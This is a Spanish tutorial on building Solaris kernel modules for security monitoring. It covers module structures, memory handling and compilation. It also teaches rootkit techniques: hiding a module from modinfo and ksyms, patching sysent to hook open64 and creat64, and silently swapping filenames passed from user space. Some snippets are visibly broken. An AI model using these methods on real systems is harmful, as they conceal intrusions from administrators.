Los módulos de kernel necesitan disponer de unas estructuras básicas para poder ser cargados dentro del kernel. En Solaris esto es especialmente cierto y deberemos definir muchas variables y estructuras para poder programar un LKM sencillo. Otros Sistemas Operativos como Linux o FreeBSD no precisan una estructura básica tan compleja y pueden crearse módulos para ellos de forma muy sencilla.

Lo primero que deberemos incluir serán las cabeceras para utilizar el interfaz DDI de Solaris. Esto es necesario siempre, aunque no vayamos a desarrollar un driver de dispositivo. Otra cosa que deberemos incluir siempre en nuestros módulos será el conjunto de estructuras necesarias para que los comandos de carga, descarga e información sobre el módulo funcionen correctamente (struct como mod_ops, mod_miscops, modlmisc ó modlinkage).

Veamos un código de ejemplo de la estructuras básicas que han de existir en un LKM para Solaris:

#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/modctl.h>

extern struct mod_ops mod_miscops;

static struct modlmisc modlmisc = {
    &mod_miscops,
    "Nombre del LKM",
}; 

static struct modlinkage modlinkage = {
    MODREV_1,
    (void *)&modlmisc,
    NULL
};

Como podemos observar, hemos incluido las cabeceras necesarias y hemos definido las estructuras modlmisc y modlinkage para un módulo “misceláneo”, es decir, para un módulo que no va a servir como driver de dispositivo. Esto implica que no dispone de información sobre el número de información del driver (Info). En la estructura modlmisc definimos el nombre que el módulo devolverá al sistema cuando sea solicitado ("Nombre del LKM").

Existe mucha ayuda en la documentación de Solaris acerca de estas estructuras, sus datos y su manejo (“man modldrv”, “man modlinkage”, “man modlstrmod”), pero considero que quedan fuera del ámbito de este texto y con saber la estructura básica de un LKM en Solaris nos basta.

Además de estas estructuras, todo módulo de kernel en Solaris debe incluir como mínimo tres funciones: _init(), _fini() e _info(). Su cometido es bastante obvio a la vista de sus nombres:

_init() inicializa el módulo y lo prepara para su carga. Esta función se llama antes de realizar cualquier otra cosa en un LKM.

int _init(void)
{
    int i;
    if  != 0)
        cmn_err(CE_NOTE,"No se pudo instalar el modulo quark\n");
    else
        cmn_err(CE_NOTE,"quark: instalación correcta");
    return i;
}

Dentro de _init() se llama a mod_install() que toma modlinkage como argumento e instala en función de esos valores el módulo en el sistema. _init() devuelve el valor de su llamada a mod_install(), es decir, informa si se ha cargado correctamente el módulo o no. Otro punto importante es el uso de la función cmn_err(), que mediante el parámetro CE_NOTE indica que los mensajes se introducirán en el log del sistema como una notificación.

_info() devuelve información acerca de un módulo. Siempre que llamemos a esta función, habrá que llamar a mod_info() que utilizará los datos almacenados en la estructura modinfo. Si modinfo tiene como valor del nombre de módulo un string vacío, mod_info()no devolverá nada ( y /usr/sbin/modinfo no mostrará el módulo en su lista).

int _info(struct modinfo *modinfop)
{
    return (mod_info(&modlinkage, modinfop));
}

_fini() prepara el módulo para su descarga. Cuando queremos descargar un módulo, llamamos a esta función. _fini()a su vez llamara a mod_remove() para proceder a la descarga del módulo. Es importante capturar el valor devuelto por esta función para comprobar si se han producido errores en la descarga.

int _fini(void)
{
    int i;
    if  != 0)
        cmn_err(CE_NOTE,"No se pudo desinstalar el modulo quark\n");
    else
        cmn_err(CE_NOTE,"quark: desinstalación correcta");
    return i;
}

En definitiva, utilizando las estructuras comentadas y las funciones _init(), _fini() e _info() podremos crear nuestros LKMs de forma sencilla, incluyendo lo que consideremos necesario tras _init(), y utilizando los mecanismos estándar de descarga.

Métodos de ocultación del LKM

Si vamos a emplear nuestros módulos para gestionar dispositivos externos no tiene ningún sentido ocultarlos. Es más, al contrario, es conveniente que estén visibles para que los usuarios sean capaces de saber qué módulos correspondientes a drivers de dispositivos están funcionando. Si nuestro objetivo es aumentar la seguridad del sistema, una práctica conveniente es ocultar el propio módulo de protección para no alertar a posibles intrusos y no centrar sus ataques en desactivar el módulo de seguridad. Es, por tanto, importante saber cómo ocultar nuestros módulos para mantener su propia seguridad y, por ende, la de todo el sistema.

Existen varias formas de ocultar un LKM de cara al usuario. La primera de ellas ya la hemos visto en el apartado anterior: si utilizamos una cadena vacía como descripción o nombre de nuestro módulo, modinfo no lo mostrará en su lista (a pesar de continuar cargado dentro del kernel). Además, modunload no devolverá un error si alguien pretende descargar un módulo que no estaba previamente cargado, por lo que no podrán detectar su presencia intentando descargar módulos que no salgan en la lista. Como primera aproximación esta medida puede valer, pero después de un análisis serio, cualquiera con dos dedos de frente podrá adivinar que nuestro módulo está ahí.

Si realmente queremos una protección seria para nuestro módulo que evite que sea listado y descargado de la memoria del kernel, deberemos parchear o suplantar el módulo ksyms que lista y maneja todos los símbolos del kernel en Solaris. Existe documentación al respecto y pruebas de concepto en Sistemas Operativos como Linux y FreeBSD acerca de esto (ver 7. Referencias).

La más reseñable de estas pruebas de concepto puede que sea el módulo itf.c, programado por Plaguez y publicado en la Phrack número 52. Una vez instalado dentro del kernel modificará la estructura mp que lo identifica como módulo y la tabla get_kernel_symbols, evitando de esta manera aparecer tanto en /proc/modules como en la salida de ksyms. Como efecto colateral, el módulo será imposible de descargar. Esto puede verse tanto como una funcionalidad como un defecto.

Captura y Suplantación de las llamadas al sistema

Lo más importante dentro de un módulo de monitorización del sistema es supervisar los eventos que en él se producen para comprobar si todo está dentro de la normalidad. Es necesario por tanto capturar las llamadas al sistema por parte de los diferentes usuarios y permitir realizar comprobaciones de esas llamadas suplantando los servicios originales del kernel.

Ya hemos tratado anteriormente el funcionamiento del kernel en Solaris en cuanto a las syscalls o peticiones al sistema. Todas esas llamadas se almacenan en un array denominado sysent en donde cada una de sus posiciones es una estructura que contiene información acerca de una syscall. Esto funciona de manera similar a otros Sistemas UNIX como Linux o la familia *BSD, si bien cada una de las estructuras para almacenar información acerca de una syscall es diferente en cada sistema.

Es necesario tener esto en cuenta a la hora de portar un LKM de Linux a Solaris, por ejemplo. Además, Solaris trabaja con arquitecturas de 32 y 64 bits mezcladas dentro del sistema, por lo que muchas de las syscalls más comunes (como open o create) tienen sus variedades de 32 y 64 bits. Para conocer cuál de ellas utiliza un determinado programa o comando podemos hacer uso del comando /usr/bin/truss. Así pues, por ejemplo, ps utiliza open() para abrir los ficheros que componen los procesos dentro de /proc, mientras que cat utiliza open64() para mostrar los contenidos de un fichero.

Existen diferentes maneras de suplantar las llamadas o peticiones al sistema de forma limpia y eficaz, pero lo primero que deberemos saber es cómo poder utilizar syscalls que no hayan sido definidas dentro de nuestros módulos. Plaguez da una solución en su artículo del e-zine Phrack: utilizar una macro para poder hacer uso de la programación mediante peticiones al sistema tradicional de la zona de usuario (en la siguiente sección discutiremos la diferencia entre zona de usuario y zona kernel):

/*we need brk systemcall*/
static inline _syscall1(int, brk, void *, end_data_segment);

Mediante este sistema podremos utilizar cualquier syscall de las que se piden normalmente desde la zona de usuario (fork, brk, open, read, write...), es decir, podremos construir la macro exacta para una función concreta de la zona de usuario (nótese que no toda función de la zona de usuario es una petición al sistema, pero sí un compendio de ellas).

Aunque esto pueda parecer un truco, realmente es lo que se utiliza en muchos sistemas para usar syscalls dentro del kernel. Sirva como muestra el siguiente código extraído del código fuente de Linux (/asm/unistd.h):

#define _syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
asm volatile ("int $0x80" \
	: "=a" (__res) \
	: "0" (__NR_##name),"b" ); \
if (__res >= 0) \
	return (type) __res; \
errno = -__res; \
return -1; \
}

NOTA: Las “\”s indican que todo debería estar en una única línea, no son parte del código.

A pesar de lo complejo que pueda parecer este código, tiene una sencilla explicación: simplemente llama a la interrupción 80h (la utilizada en Linux para hacer una petición al sistema) con los argumentos pasados como parámetros: type se utiliza para hacer un cast del valor devuelto, name para llamar a la syscall que corresponda (__NR_name, definidas todas en /asm/unistd.h) y arg1 es el parámetro pasado a la syscall.

Si bien éste es el método utilizado por los programadores del kernel de Linux, existe otra manera un poco más clara de realizar esto y será la que empleemos en nuestros módulos de aquí en adelante. El proceso consiste en definir un prototipo de función que se ajuste a la llamada a la syscall, y luego tomar de la tabla sys_ent el valor para la función definida en el prototipo, por ejemplo:

int (*open)(char *, int, int);    /* declarar el prototipo */
open = sys_call_table[__NR_open]; /* tomar su valor de sysent */

Pragmatic de THC y SVAT usan este método y ha sido probado muchas veces con éxito. En líneas generales, cuando queramos suplantar una llamada o petición al sistema deberemos seguir los siguientes pasos:

1. Encontrar y estudiar la llamada o petición al sistema que queramos suplantar (conviene fijarse bien en los ficheros de cabecera .h).
2. Definir un prototipo de función similar a la syscall que queramos utilizar.
3. Encontrar la syscall original en la tabla de syscalls (sysent[]) y definir con su valor el prototipo previamente creado.
4. Crear una nueva función que suplante a la syscall original (normalmente hará uso de la syscall suplantada, por lo que los pasos anteriores son muy útiles para no “machacar” la syscall original).
5. Definir la posición que corresponda dentro de la tabla de syscalls como un puntero a la nueva función que suplantará a la original.

De esta manera, cada vez que el sistema pida la ejecución de esa syscall, se ejecutará la función que nosotros hemos introducido y no la syscall original. Esto suele emplearse para realizar determinados controles sobre la petición y posteriormente llamar a la función que originariamente realizaba la solicitud de esa syscall para que haga su trabajo normalmente. De forma gráfica el proceso sería tal y como lo muestra la siguiente figura:

Proceso de suplantación de una llamada al sistema.

Analicemos ahora mediante un ejemplo en código cómo se programarían todos estos pasos. De todo lo que hemos comentado hasta ahora se deduce que el lugar idóneo para realizar la suplantación de las peticiones al sistema es en la función _init(), nada más cargarse nuestro módulo, para intentar perder el menor tiempo posible y controlar la situación desde el principio.

int (*oldopen64) (const char *path, int oflag, mode_t mode);
int (*oldcreat64) (const char *path, mode_t mode); 

[...] 

int newopen64(const char *path, int oflag, mode_t mode)
{
 [...]
}

int newcreat64(const char *path, mode_t mode)
{
 [...]
}

int _init(void)
{
	int i; 

	if  != 0)
		cmn_err(CE_NOTE,"Could not install module\n"); 

	oldopen64 = (void *) sysent[SYS_open64].sy_callc;
	oldcreat64 = (void *) sysent[SYS_creat64].sy_callc; 

	sysent[SYS_open64].sy_callc = (void *) newopen64;
	sysent[SYS_creat64].sy_callc = (void *) newcreat64; 

	return i;
}

En este ejemplo el módulo suplanta las syscalls open64() y creat64() de la forma explicada: primeramente guardamos en las funciones oldopen64 y oldcreat64 las funciones que dan servicio a estas syscalls originariamente, para suplantarlas con nuestras nuevas funciones (newopen64 y newcreat64) posteriormente en la tabla de syscalls (sysent).

Áreas de memoria, cómo disponer de memoria en el kernel

Como ya hemos comentado previamente, el espacio de memoria reservado para el kernel está separado del espacio de memoria reservado para los programas de usuario (incluidos los que se ejecutan como superusuario o root). Es por esto que debemos hilar muy fino y no errar al tratar de utilizar contenidos del espacio de memoria de usuario en el kernel y viceversa. Las funciones para reservar memoria también son diferentes dentro del área de memoria del kernel. En lugar de hacer uso de las típicas alloc() o malloc(), dentro del kernel de Solaris deberemos utilizar kmem_alloc():

cadena = (char *) kmem_alloc(tam, KM_SLEEP);

El funcionamiento es muy similar a su función homónima dentro del área de memoria de usuario, con la salvedad del segundo parámetro. Si utilizamos kmem_alloc() con KM_SLEEP como segundo parámetro, estaremos indicando que podemos esperar hasta que realmente haya un bloque de memoria tan grande como el que hayamos pedido. Este es el método más seguro y asegura un éxito en la reserva de memoria a costa de un eventual retardo. Si no queremos esperar, nos arriesgamos a que no se encuentre un bloque tan grande como el que hemos solicitado y algo pueda fallar, sin embargo el retardo es mínimo. En este caso deberemos llamar a kmem_alloc() con el parámetro KM_NOSLEEP. Para el desarrollo de nuestros módulos es aconsejable utilizar KM_SLEEP y asegurar la estabilidad del sistema. En cuanto a la naturaleza del bloque de memoria proporcionado por kmem_alloc() podremos decir que el bloque está alineado como mínimo como double-word y su contenido es aleatorio o no inicializado.

Toda la memoria solicitada deberá ser liberada tras su uso. Como podemos imaginar, las consecuencias de un olvido involuntario serán mucho más graves dentro del kernel. Para liberar memoria utilizaremos la función kmem_free(), indicando el tamaño de bloque que queremos liberar. Hemos de tener mucho cuidado de no liberar más memoria que la que hemos solicitado o de lo contrario estaremos borrando partes esenciales del kernel que pueden afectar a la estabilidad de todo el sistema.

Bien, sabemos cómo reservar memoria dentro del kernel y cómo hacerlo en el espacio de memoria de usuario, pero... ¿cómo podemos hacer transferencias de un espacio de memoria al otro? Algunos módulos del kernel, pobremente programados, utilizan directamente memcpy() para copiar memoria del espacio de memoria de usuario al kernel. Esto funcionaba de manera más o menos aceptable en arquitecturas Solaris 2.7 sobre Intel, pero en Solaris para SPARC provocaba la caída total del sistema. Para realizar una transferencia de información entre los dos espacios de memoria de manera correcta es necesario utilizar las funciones copyin() y copyout(), documentadas dentro de la Interfaz de Drivers de Dispositivos (DDI/DKI).

Un ejemplo práctico del uso de todo esto podría ser el siguiente:

name = (char *) kmem_alloc(256, KM_SLEEP);
copyin(filename, name, 256);
if (!strcmp(name, (char *) oldcmd))
  copyout((char *) newcmd, (char *) filename, strlen(newcmd) + 1);

Queremos comparar el nombre del fichero solicitado (filename) desde el área de memoria de usuario con una cadena de caracteres residente en el área de memoria del kernel (oldcmd) y en caso de que sean iguales, copiar el contenido de newcmd (dentro del kernel) al área de memoria de usuario (filename).

Existen además otras funciones para transferir datos entre las dos áreas de memoria como por ejemplo copyinstr() que nos sirve para copiar cadenas de caracteres acabadas en null. Para más información acerca de este tipo de funciones y su manejo, es preciso consultar la documentación de Solaris para la creación de drivers para dispositivos o en las páginas de manual de alloc(), copyin() y copyout().

Compilación y uso de un LKM

La compilación de un LKM en Solaris es bastante sencilla, únicamente deberemos definir una serie de opciones de compilación (-D_KERNEL -DSVR4 -DSOL2) indicando que se trata de un módulo de kernel y no de un ejecutable estándar. Además, es preciso enlazar o linkar nuestros módulos con la opción –r para que puedan ser cargados dentro del kernel, de lo contrario en linker del kernel no podrá enlazarlos:

bash-2.03# cc -g -D_KERNEL -DSVR4 -DSOL2 -O2 -c quark.c
bash-2.03# ld –o quark -r quark.o

Dado que el kernel de Solaris no provee a los programadores de módulos tantas facilidades como pueda ofrecer el kernel de Linux u otros kernels (el número de funciones que disponemos “dentro del kernel” en Solaris es muy limitado comparado con Linux), es posible que sea necesario utilizar funciones C standard (libC) que no están en el kernel de Solaris. Para ello utilizaremos el comando ar con objeto de extraer las funciones que necesitemos de la librería libC y posteriormente las linkaremos con nuestro módulo:

bash-2.03# ar –x /lib/libc.a memcpy.o strstr.o
bash-2.03# ld –o quark -r quark.o memcpy.o strstr.o